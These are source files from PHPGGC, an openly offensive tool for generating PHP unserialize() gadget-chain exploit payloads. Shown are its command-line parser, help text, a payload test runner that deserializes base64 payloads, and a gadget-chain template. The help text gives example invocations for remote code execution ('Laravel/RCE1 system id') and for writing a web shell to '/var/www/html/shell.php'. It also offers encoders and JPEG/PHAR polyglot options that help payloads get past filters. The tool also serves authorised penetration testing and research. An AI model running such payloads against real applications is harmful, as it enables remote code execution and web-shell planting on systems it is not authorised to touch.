430 foreach($row as $i => $cell)
431 {
432 $pad[$i] = max($pad[$i], strlen($cell));
433 }
434 }
435
436 $array = '';
437
438 foreach($data as $row)
439 {
440 foreach($row as $i => $cell)
441 {
442 $array .= str_pad($cell, $pad[$i]) . ' ';
443 }
444 $array .= "\n";
445 }
446
447 return $array;
448 }
449
450 /**
451 * Displays a list of gadget chains.
452 */
453 protected function list_gc()
454 {
455 $this->o("");
456 $this->o("Gadget Chains");
457 $this->o("-------------", 2);
458
459 $titles = [
460 'Name',
461 'Version',
462 'Type',
463 'Vector',
464 'I'
465 ];
466
467 $data = [];
468 foreach($this->chains as $chain)
469 {
470 $data[] = [
471 $chain::get_name(),
472 $chain::$version,
473 $chain::$type,
474 $chain::$vector,
475 ($chain::$informations ? '*' : '')
476 ];
477 }
478
479 $this->o($this->table($titles, $data));
480
481 exit(0);
482 }
483
484 /**
485 * Displays the help.
486 */
487 protected function help()
488 {
489 $this->o('');
490 $this->o('PHPGGC: PHP Generic Gadget Chains');
491 $this->o("---------------------------------", 2);
492
493 $this->o('USAGE');
494 $this->o(" " . $this->_get_command_line(
495 '[-h|-l|-i|...]',
496 '<GadgetChain>',
497 '[arguments]'
498 ), 2);
499
500 $this->o('INFORMATION');
501 $this->o(' -h, --help Displays help');
502 $this->o(' -l, --list Lists available gadget chains');
503 $this->o(' -i, --informations');
504 $this->o(' Displays informations about a gadget chain');
505 $this->o('');
506 $this->o('OUTPUT');
507 $this->o(' -o, --output <file>');
508 $this->o(' Outputs the payload to a file instead of standard output');
509 $this->o('');
510 $this->o('PHAR');
511 $this->o(' -p, --phar <tar|zip|phar>');
512 $this->o(' Creates a PHAR file of the given format');
513 $this->o(' -pj, --phar-jpeg <file>');
514 $this->o(' Creates a polyglot JPEG/PHAR file from given image');
515 $this->o(' -pp, --phar-prefix <file>');
516 $this->o(' Sets the PHAR prefix as the contents of the given file.');
517 $this->o(' Generally used with -p phar to control the beginning of the generated file.');
518 $this->o(' -pf, --phar-filename <filename>');
519 $this->o(' Defines the name of the file contained in the generated PHAR (default: test.txt)');
520 $this->o('');
521 $this->o('ENHANCEMENTS');
522 $this->o(' -f, --fast-destruct');
523 $this->o(' Applies the fast-destruct technique, so that the object is destroyed');
524 $this->o(' right after the unserialize() call, as opposed to at the end of the');
525 $this->o(' script');
526 $this->o(' -a, --ascii-strings');
527 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This');
528 $this->o(' replaces every non-ASCII value to an hexadecimal representation:');
529 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
530 $this->o(' This is experimental and it might not work in some cases.');
531 $this->o(' -n, --plus-numbers <types>');
532 $this->o(' Adds a + symbol in front of every number symbol of the given type.');
533 $this->o(' For instance, -n iO adds a + in front of every int and object name size:');
534 $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}');
535 $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +');
536 $this->o(' -w, --wrapper <wrapper>');
537 $this->o(' Specifies a file containing either or both functions:');
538 $this->o(' - process_parameters($parameters): called right before object is created');
539 $this->o(' - process_object($object): called right before the payload is serialized');
540 $this->o(' - process_serialized($serialized): called right after the payload is serialized');
541 $this->o('');
542 $this->o('ENCODING');
543 $this->o(' -s, --soft Soft URLencode');
544 $this->o(' -u, --url URLencodes the payload');
545 $this->o(' -b, --base64 Converts the output into base64');
546 $this->o(' -j, --json Converts the output into json');
547 $this->o(' Encoders can be chained, for instance -b -u -u base64s the payload,');
548 $this->o(' then URLencodes it twice');
549 $this->o('');
550 $this->o('CREATION');
551 $this->o(' -N, --new <framework> <type>');
552 $this->o(' Creates the file structure for a new gadgetchain for given framework');
553 $this->o(' Example: ./phpggc -n Drupal RCE');
554 $this->o(' --test-payload');
555 $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.');
556 $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.');
557 $this->o(' Warning: This will run your payload on YOUR system !');
558 $this->o('');
559
560 $this->o('EXAMPLES');
561 $this->o(' ' . $this->_get_command_line(
562 'Laravel/RCE1',
563 'system',
564 'id'
565 ));
566 $this->o(' ' . $this->_get_command_line(
567 'SwiftMailer/FW1',
568 '/var/www/html/shell.php',
569 '/path/to/local/shell.php'
570 ));
571 $this->o('');
572
573 exit(0);
574 }
575
576 /**
577 * Parses argument $i of $argv, and stores it in parameters or options if
578 * it matches.
579 */
580 function _parse_cmdline_arg(&$i, &$argv, &$parameters, &$options)
581 {
582 $count = count($argv);
583
584 # Define valid arguments and their abbreviations, which is generally
585 # their first letter
586
587 $valid_arguments = [
588 # Creation
589 'new' => false,
590 'test-payload' => false,
591 # Misc
592 'informations' => false,
593 'help' => false,
594 'list' => false,
595 'output' => true,
596 'wrapper' => true,
597 # Phar
598 'phar' => true,
599 'phar-jpeg' => true,
600 'phar-prefix' => true,
601 'phar-filename' => true,
602 # Enhancements
603 'fast-destruct' => false,
604 'ascii-strings' => false,
605 'plus-numbers' => true,
606 # Encoders
607 'soft' => false,
608 'json' => false,
609 'base64' => false,
610 'url' => false,
611 ];
612
613 $abbreviations = [];
614
615 foreach($valid_arguments as $k => $v)
616 {
617 $abbreviations[$k] = $k{0};
618 }
619
620 $abbreviations = [
621 'test-payload' => false,
622 'plus-numbers' => 'n',
623 'phar-jpeg' => 'pj',
624 'phar-prefix' => 'pp',
625 'phar-filename' => 'pf',
626 'new' => 'N'
627 ] + $abbreviations;
628
629 # If we are in this function, the argument starts with a dash, so we
630 # can safely remove it
631 $arg = substr($argv[$i], 1);
632 $valid = false;
633
634 # Find whether given argument is valid and if so, set it as a parameter
635 # or an option
636
637 foreach($valid_arguments as $argument => $has_parameter)
638 {
639 # Check for short and long arguments (-a, --argument)
640 if(
641 $arg === $abbreviations[$argument] ||
642 $arg === '-' . $argument
643 )
644 {
645 $valid = true;
646
647 # Does it expect a parameter ?
648 if($has_parameter)
649 {
650 if($count <= $i + 1)
651 {
652 $e = 'Parameter "' . $argument . '" expects a value';
653 throw new \PHPGGC\Exception($e);
654 }
655
656 $parameters[$argument] = $argv[$i+1];
657 $i++;
658 }
659 else
660 {
661 $options[] = $argument;
662 }
663
664 break;
665 }
666 }
667
668 if(!$valid)
669 {
670 $this->e('Unknown parameter: -' . $arg);
671 }
672 }
673
674 /**
675 * Parses the command line arguments.
676 */
677 protected function parse_cmdline($argv)
678 {
679 # Parameters expect a value, options don't
680 $parameters = [];
681 $options = [];
682 $arguments = [];
683
684 for($i=1;$i<count($argv);$i++)
685 {
686 $arg = $argv[$i];
687 # Abort argument parsing
688 if($arg == '--')
689 {
690 $arguments += array_slice($argv, $i);
691 break;
692 }
693 # This is a parameter or an option
694 if(strlen($arg) >= 2 && $arg{0} == '-')
695 $this->_parse_cmdline_arg($i, $argv, $parameters, $options);
696 # This is a value
697 else
698 $arguments[] = $arg;
699 }
700
701 # Handle options and parameters in case they need to be handled now.
702
703 foreach($options as $option)
704 {
705 switch($option)
706 {
707 case 'list':
708 $this->list_gc();
709 return;
710 case 'help':
711 $this->help();
712 return;
713 case 'new':
714 if(count($arguments) < 2)
715 {
716 $this->o($this->_get_command_line(
717 '--new <Framework> <type>'
718 ));
719 return;
720 }
721 $this->new_gc($arguments[0], $arguments[1]);
722 return;
723 case 'informations':
724 if(count($arguments) < 1)
725 {
726 $this->o($this->_get_command_line('-i <gadget_chain>'));
727 return;
728 }
729 $gc = $this->get_gadget_chain($arguments[0]);
730 $this->o($gc, 2);
731 $this->o($this->_get_command_line_gc($gc));
732 return;
733 }
734 }
735
736 foreach($parameters as $key => $value)
737 {
738 switch($key)
739 {
740 case 'phar':
741 if(!in_array($value, ['phar', 'tar', 'zip']))
742 {
743 $this->e('"' . $value . '" is not a valid PHAR format');
744 }
745 break;
746 case 'phar-jpeg':
747 if(!isset($parameters['phar']))
748 {
749 $parameters['phar'] = 'tar';
750 }
751 else if($parameters['phar'] != 'tar')
752 {
753 $this->e('"--phar-jpeg" implies "--phar tar"');
754 }
755 # fall through
756 case 'phar-prefix':
757 case 'wrapper':
758 if(!file_exists($value))
759 {
760 $this->e(
761 $key . ': File "' . $value . '" does not exist'
762 );
763 }
764 break;
765 }
766 }
767
768 # Otherwise, store them and return the rest of the command line
769
770 $this->options = $options;
771 $this->parameters = $parameters;
772
773 # Return remaining arguments
774 return $arguments;
775 }
776
777 /**
778 * Convert command line parameters into an array of named parameters,
779 * specific to the type of payload.
780 */
781 protected function get_type_parameters($gc, $parameters)
782 {
783 $arguments = $gc::$parameters;
784
785 $values = @array_combine($arguments, $parameters);
786
787 if($values === false)
788 {
789 $this->o($gc, 2);
790 $this->e(
791 'Invalid arguments for type "' . $gc::$type . '" ' . "\n" .
792 $this->_get_command_line_gc($gc)
793 );
794 }
795
796 return $values;
797 }
798
799 protected function _get_command_line_gc($gc)
800 {
801 $arguments = array_map(function ($a) {
802 return '<' . $a . '>';
803 }, $gc::$parameters);
804 return $this->_get_command_line($gc->get_name(), ...$arguments);
805 }
806
807 private function _get_command_line(...$arguments)
808 {
809 return './phpggc ' . implode(' ', $arguments);
810 }
811 }
0 #!/usr/bin/env php
1 <?php
2 # Runs given payload assuming given vector
3 # TODO Add offsetGet, etc. when the time comes
4
5 error_reporting(E_ALL);
6
7 if($argc < 2)
8 {
9 print($argv[0] . ' <vector> <base64_payload>' . "\n");
10 exit(0);
11 }
12
13 $vector = $argv[1];
14 $payload = base64_decode($argv[2]);
15
16 if(file_exists('test.php'))
17 {
18 require('test.php');
19 exit(0);
20 }
21 if(!file_exists('vendor/autoload.php'))
22 {
23 print('Unable to load either test.php or vendor/autoload.php' . "\n");
24 exit(-1);
25 }
26
27 require('vendor/autoload.php');
28
29 # The payload must be processed in function of its form:
30 # Phar: Try to get the content of the only file in the PHAR file
31 switch($vector)
32 {
33 case 'phar':
34 $phar = sys_get_temp_dir() . '/phpggc.phar';
35 file_put_contents($phar, $payload);
36 var_dump(file_get_contents('phar://' . $phar . '/test.txt'));
37 unlink($phar);
38 break;
39 case '__toString':
40 $payload = unserialize($payload);
41 print($payload);
42 break;
43 case '__destruct':
44 case '__wakeup':
45 $payload = unserialize($payload);
46 break;
47 default:
48 print('Unable to test payload via vector "' . $vector . '"' . "\n");
49 }
0 #!/usr/bin/env php
1 <?php
2
3 error_reporting(E_ALL);
4
5 require_once('lib/PHPGGC.php');
6
7 $x = new PHPGGC();
8
9 try
10 {
11 $x->generate();
12 }
13 catch(\PHPGGC\Exception $e)
14 {
15 print("ERROR: " . $e->getMessage() . "\n");
16 }
0 <?php
1
2 namespace GadgetChain\{NAME};
3
4 class {CLASS_NAME} extends \{BASE_CLASS_NAME}
5 {
6 public static $version = '';
7 public static $vector = '';
8 public static $author = '';
9
10 public function generate(array $parameters)
11 {
12
13 }
14 }